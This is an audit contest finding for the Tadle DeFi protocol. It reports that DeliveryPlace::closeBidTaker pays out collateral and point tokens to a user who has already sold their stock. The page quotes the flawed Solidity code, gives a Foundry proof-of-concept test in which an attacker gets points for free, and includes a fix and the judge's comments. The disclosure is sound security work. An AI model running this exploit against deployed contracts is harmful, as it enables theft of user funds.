Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

User can call `DeliveryPlace::closeBidTaker` and get refunded after having sold his stock

0xrststn

Summary

DeliveryPlace::closeBidTaker will close the user’s stock position and distribute point tokens and, in case the settled points are less than the used points, will also distribute the collateral in relation to the user’s points.

Vulnerability Details

For this vulnerability, the following scenario is needed:

  • The offer settle type must be Protected

  • The settled points must be less than the used points (this can also be achieved by the same malicious user by calling DeliveryPlace::settleAskMaker with _settledPoints as zero but this is a different bug that will be reported separately because it has more implications)

In this scenario, if a user has listed and sold his stock, he can still invoke DeliveryPlace::closeBidTaker and get the amount of collateral corresponding to his sold stockInfo.points.
In DeliveryPlace::closeBidTaker, if the offer settle type is protected, the user remaining points is set as stockInfo.points without checking whether this stock is listed:

if (makerInfo.offerSettleType == OfferSettleType.Protected) {
offerInfo = preOfferInfo;
userRemainingPoints = stockInfo.points;

Later on, userCollaterlFee and pointTokenAmount is calculated and added to the user even though he has no points:

if (offerInfo.usedPoints > offerInfo.settledPoints) {
if (offerInfo.offerStatus == OfferStatus.Virgin) {
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
offerInfo.amount,
true,
Math.Rounding.Floor
);
} else {
uint256 usedAmount = offerInfo.amount.mulDiv(
offerInfo.usedPoints,
offerInfo.points,
Math.Rounding.Floor
);
​
collateralFee = OfferLibraries.getDepositAmount(
offerInfo.offerType,
offerInfo.collateralRate,
usedAmount,
true,
Math.Rounding.Floor
);
}
}
​
uint256 userCollateralFee = collateralFee.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
​
tokenManager.addTokenBalance(
TokenBalanceType.RemainingCash,
_msgSender(),
makerInfo.tokenAddress,
userCollateralFee
);
uint256 pointTokenAmount = offerInfo.settledPointTokenAmount.mulDiv(
userRemainingPoints,
offerInfo.usedPoints,
Math.Rounding.Floor
);
tokenManager.addTokenBalance(
TokenBalanceType.PointToken,
_msgSender(),
makerInfo.tokenAddress,
pointTokenAmount
);

PoC

Add this test into PreMarkets.t.sol

function test_closeBidTaker_stock_listed_and_claimed() public {
capitalPool.approve(address(mockUSDCToken));
​
vm.startPrank(user);
// Creates a protected offer
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
1000 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
​
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.stopPrank();
​
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
​
deal(address(mockUSDCToken), attacker, 1_200 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
assertEq(mockUSDCToken.balanceOf(attacker), 1_200 * 10 ** 18);
assertEq(mockPointToken.balanceOf(attacker), 0);
​
// Attacker buys 500 points and lists them
preMarktes.createTaker(offerAddr, 500);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.listOffer(stock1Addr, 500 * 1e18, 12000);
address offer1Addr = GenerateAddress.generateOfferAddress(1);
​
vm.stopPrank();
​
vm.startPrank(user2);
​
deal(address(mockUSDCToken), user2, 1_000 * 10 ** 18);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
//user2 buys attacker stock
preMarktes.createTaker(offer1Addr, 500);
​
vm.stopPrank();
​
vm.prank(user1);
// Update market so block.timestamp > tge => status is AskSettling
// tokensPerPoint relation is 1:1
systemConfig.updateMarket("Backpack", address(mockPointToken), 1e18, block.timestamp - 1, 3600);
​
vm.startPrank(user);
​
mockPointToken.approve(address(tokenManager), type(uint256).max);
// The offer maker settles the offer with less settled points (100) than used (500)
deliveryPlace.settleAskMaker(offerAddr, 100);
​
vm.stopPrank();
​
vm.startPrank(attacker);
// Attacker claims the stock position sold to user2
deliveryPlace.closeBidTaker(stock1Addr);
uint256 attackerSalerRevenue =
tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.SalesRevenue);
uint256 attackerRemainingCash =
tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.RemainingCash);
uint256 attackerPointToken =
tokenManager.userTokenBalanceMap(attacker, address(mockUSDCToken), TokenBalanceType.PointToken);
​
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.SalesRevenue);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.RemainingCash);
console2.log("Attacker USDC balance after attack", mockUSDCToken.balanceOf(attacker));
console2.log("attackerPointToken", attackerPointToken);
}

As can be seen, the attacker starts with a USDC balance of 1_200e18 and ends up with 1_182.5e18 and 100e18 token points so the attacker just paid the fees and got the points for free.

[PASS] test_closeBidTaker_stock_listed_and_claimed() (gas: 1831842)
Logs:
Attacker USDC balance after attack 1182500000000000000000
attackerPointToken 100000000000000000000

N.B.: Points are wrongly added to the makerInfo.tokenAddress instead of marketPlaceInfo.tokenAddress userTokenBalanceMap but this will be reported separately as it has some other consequences.

Tools Used

Foundry

Recommendations

Even when the offer settle type is protected, check if the stock is listed and if so, calculate the remaining points.

Updates

Lead Judging Commences

0xnevi Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-PreMarkets-partial-closeBidTaker-userCollateralFee-wrong-partial

Valid High, afaik, partial settlements are a valid flow and so when closing bid offers by takers and/or when settling offers by makers, we should return a proportionate amount of funds based on points settled. This issues could be related to issue #1008, but seems to be describing a different issue.

Appeal created

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-DeliveryPlace-settleAskTaker-settleAskMaker-partial-settlements

Valid high, in settleAskTaker/settleAskMaker, if the original offer maker performs a partial final settlement, the existing checks [here](https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/DeliveryPlace.sol#L356-L358) and [here](https://github.com/Cyfrin/2024-08-tadle/blob/04fd8634701697184a3f3a5558b41c109866e5f8/src/core/DeliveryPlace.sol#L230-L232) will cause an revert when attempting to complete a full settlement, resulting in their collateral being locked and requiring a rescue from the admin. To note, although examples in the documentation implies settlement in a single click, it is not stated that partial settlements are not allowed, so I believe it is a valid user flow.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.